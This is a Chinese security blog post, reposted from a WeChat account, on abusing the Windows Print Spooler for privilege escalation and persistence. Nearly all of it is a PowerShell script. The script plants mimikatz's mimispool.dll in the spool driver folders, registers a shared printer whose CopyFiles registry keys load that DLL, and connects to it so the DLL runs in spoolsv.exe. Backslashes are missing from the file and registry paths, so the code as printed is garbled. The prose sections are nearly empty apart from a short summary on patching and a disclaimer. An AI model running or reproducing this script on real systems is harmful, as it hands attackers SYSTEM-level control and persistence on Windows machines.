前言
技术细节
$printerName = 'Pentest Lab Printer'
$system32 = $env:systemroot + 'system32'
$drivers = $system32 + 'spooldrivers'
$RegStartPrinter = 'Registry::HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionPrintPrinters' + $printerName
Copy-Item -Force -Path ($system32 + 'mscms.dll') -Destination ($system32 + 'mimispool.dll')
Copy-Item -Force -Path '.mimikatz_trunkx64mimispool.dll' -Destination ($drivers + 'x643mimispool.dll')
Copy-Item -Force -Path '.mimikatz_trunkwin32mimispool.dll' -Destination ($drivers + 'W32X863mimispool.dll')
Add-PrinterDriver -Name 'Generic / Text Only'
Add-Printer -DriverName 'Generic / Text Only' -Name $printerName -PortName 'FILE:' -Shared
New-Item -Path ($RegStartPrinter + 'CopyFiles') | Out-Null
New-Item -Path ($RegStartPrinter + 'CopyFilesKiwi') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + 'CopyFilesKiwi') -Name 'Directory' -PropertyType 'String' -Value 'x643' | Out-Null
New-ItemProperty -Path ($RegStartPrinter + 'CopyFilesKiwi') -Name 'Files' -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + 'CopyFilesKiwi') -Name 'Module' -PropertyType 'String' -Value 'mscms.dll' | Out-Null
New-Item -Path ($RegStartPrinter + 'CopyFilesLitchi') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + 'CopyFilesLitchi') -Name 'Directory' -PropertyType 'String' -Value 'W32X863' | Out-Null
New-ItemProperty -Path ($RegStartPrinter + 'CopyFilesLitchi') -Name 'Files' -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + 'CopyFilesLitchi') -Name 'Module' -PropertyType 'String' -Value 'mscms.dll' | Out-Null
New-Item -Path ($RegStartPrinter + 'CopyFilesMango') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + 'CopyFilesMango') -Name 'Directory' -PropertyType 'String' -Value $null | Out-Null
New-ItemProperty -Path ($RegStartPrinter + 'CopyFilesMango') -Name 'Files' -PropertyType 'MultiString' -Value $null | Out-Null
New-ItemProperty -Path ($RegStartPrinter + 'CopyFilesMango') -Name 'Module' -PropertyType 'String' -Value 'mimispool.dll' | Out-Null
$serverName = 'dc.purple.lab'
$printerName = 'Pentest Lab Printer'
$fullprinterName = '\' + $serverName + '' + $printerName + ' - ' + $(If ([System.Environment]::Is64BitOperatingSystem) {'x64'} Else {'x86'})
Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinue
Add-Printer -ConnectionName $fullprinterName
C:WindowsSystem32spooldriversx643
spoolsv.exe进程
总结
最初,Print Spooler打印后台处理服务中的漏洞,主要被滥用来在域控制器和服务器上实现本地权限提升和远程代码执行。但是,该技术现也可以被用于Windows工作站和服务器上的本地权限提升和持久化。因此,修复工作应涵盖网络上的所有系统,而不仅仅是域控制器。
END
本文始发于微信公众号(SecTr安全团队):利用打印后台处理程序进行权限提升和持久化
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论